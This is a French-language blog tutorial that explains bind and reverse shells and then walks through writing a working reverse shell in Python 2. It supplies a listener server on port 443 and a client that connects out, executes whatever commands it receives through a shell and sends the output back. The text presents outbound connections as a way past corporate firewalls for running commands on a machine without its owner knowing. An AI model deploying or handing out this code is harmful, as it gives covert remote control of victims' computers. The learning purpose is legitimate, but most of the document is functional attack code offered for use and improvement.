Reverse Shell

reverse shell developpeur fou

Changeons un peu d’univers! Aujourd’hui je vous propose de construire votre propre reverse shell !

On va se pencher sur le “pourquoi les pirates informatiques utilisent cet outil?” puis nous allons en faire un nous même pour mieux comprendre comment ça marche !

Niveau Management & Législation: Intéressant
Niveau Technique : On se défend !

 

Le Shell à l’envers ? Mais qu’est ce donc ?

Et bien commençons par le shell tout court. Le shell, c’est cette petite fenêtre magique qui vous permet de lancer des commandes. C’est la petite fenêtre qui s’ouvre lorsque vous taper cmd sur votre Windows (Démarrer–>Exécuter : cmd) ou xterm, par exemple, pour les Linuxiens.

Bien ! Supposons maintenant que vous ayez une machine B à votre domicile et que vous souhaitiez vous connecter à votre poste de travail A situé dans les locaux de votre société. Pour exécuter les tâches sur votre machine A depuis votre machine B deux possibilités s’offrent à vous.

1 – Le bind Shell

C’est la version la plus simple, vous vous connectez de B vers A directement comme ceci :

bind shell

C’est le comportement normal de client – serveur. Le client c’est vous (B) et le serveur c’est votre poste de travail (A). Vous envoyez des commandes au serveur qui les exécute.

Pour illustrer cette notion commune de relation Client-Serveur, prenons la navigation sur Internet : votre navigateur internet, (firefox, IE)  est le client et ce blog est distribué par un serveur, c’est vous qui vous connectez à 0x0ff.info.

2 – Le reverse Shell

C’est l’inverse (ça vous scie les jambes ça hein !), c’est votre machine A qui va se connecter à votre machine B, toute seule comme une grande :

reverse shell

L’avantage ? Et bien nous ne sommes pas bloqués par le firewall de votre entreprise.
DE QUOI ?!! Oui ! Les firewalls filtrent très souvent les flux d’entrée mais très peu les flux de sortie. Un outil très pratique pour un pirate qui souhaiterait exécuter des commandes sur votre machine, à votre insu (le bougre) et sans être inquiété par une quelconque protection !

La difficulté est que dans un comportement normal Client-Serveur, c’est le client qui envoie les commandes et le serveur qui les exécute. Ici, nous devons faire en sorte que ce soit le serveur qui envoie les commandes, et le client qui les exécute…Tricky !

Reverse shell en simplicité

Avant de commencer

Ce petit tuto a pour objectif de comprendre comment se conçoit un reverse-shell. Avec le code python tel qu’il est proposé, on n’émule pas un shell client sur le serveur, on exécute simplement des commandes à distance sur le client, les actions restent donc limitées. Par exemple, il vous sera impossible d’éditer un fichier avec vi. Mais il ne tient qu’à vous d’améliorer ces bases qui se veulent purement ludiques. N’hésitez pas à faire partager vos trouvailles à la communauté.

Go !

Attention, ça va aller très vite car en python développer un serveur… Bah c’est pas compliqué. Le code est purement pratique, à votre charge d’en faire une petite merveille ! ;)

#!/usr/bin/python
import socket
import os

URL = "127.0.0.1" # l'adresse d'écoute de votre serveur
port = 443      # le port d'écoute de votre serveur
#Création du serveur
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((URL,port))
server.listen(1)
#Connexion du client
cnx_client, cnx_info =server.accept() 
print cnx_info, "is connected"
cpt=1
#Ecoute du serveur
while cpt>0:
   msg = raw_input(">>")
   if len(msg)>0:
     #si "quit" on quitte
     if msg == "quit":
       cnx_client.send(msg)
       cpt=cpt-1   
     # si "&" on n'attend pas de retour
     if msg[:-1]=="&": 
       cnx_client.send(msg)
     else:
       #On envoie au client
       cnx_client.send(msg)
       #On reçoit le résultat de la part du client
       data = cnx_client.recv(4096)
       print data
server.close()

Et côté client ?

Aaah voilà le problème ! Crédiou ! Comment faire pour que notre client interprète les commandes que nous voulons lui faire passer dans un shell ? La solution, comme souvent, c’est un bon PIPE ! (sans jeu de mot bande de dépravés!)
En fait, nous allons écrire les données envoyées par le serveur dans un pipe d’entré lors de la création d’un sous-process, nous lirons les retours des pipes de sortie pour les renvoyer au serveur.
Ne dites rien, je le lis dans vos yeux : “EEEh il est bien gentil de nous envoyer du rêve commeu ça, mais comment on fait nous, peu cher ?” . Oui dans mes yeux vous venez du sud et vous parlez comme dans “La Gloire de mon père“.
La commande magique qui va réaliser tout ça est  :

proc = subprocess.Popen(args,   # command envoyé par le serveur 
       shell=True,              # on ouvre dans un nouveau shell
       stdout=subprocess.PIPE,  # stdout
       stderr=subprocess.PIPE,  # stderr
       stdin=subprocess.PIPE,   # stdin
       preexec_fn=os.setsid)    # création d'une référence pid

Ce qui nous donne (vous améliorerez comme bon vous semble):

#!/usr/bin/python
import socket
import subprocess
import os, signal

URL = "127.0.0.1" # adresse du serveur
port = 443      # port

def cmd(c):
  data = c.recv(4096)
  #si serveur envoie quit ou donnée vide, on quitte
  if data == "quit" or len(data) == 0:
    return True
  else:
    #notre process
    proc = subprocess.Popen(data,    
       shell=True,              
       stdout=subprocess.PIPE,  
       stderr=subprocess.PIPE,  
       stdin=subprocess.PIPE,   
       preexec_fn=os.setsid)
    #on récupère les données à envoyer au serveur
    stdout_value = proc.stdout.read() + proc.stderr.read()
    # on kill notre process c'est plus propre
    os.killpg(proc.pid, signal.SIGTERM)
    # on envoie si pas de "&" à la fin
    if data[:-1] != "&" :
      c.send(stdout_value)
    return False
socket_died=False
while not socket_died :
   # Création de la socket client
   client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   # Connexion au serveur
   client.connect((URL,port))
   # client en attente des ordres serveurs
   while not socket_died:
     socket_died=cmd(client)
   client.close()

Félicitation !!! Vous venez de réaliser votre premier reverse shell !! Vous avez le droit de vous jeter nu(e) dans la neige pour faire retomber la pression.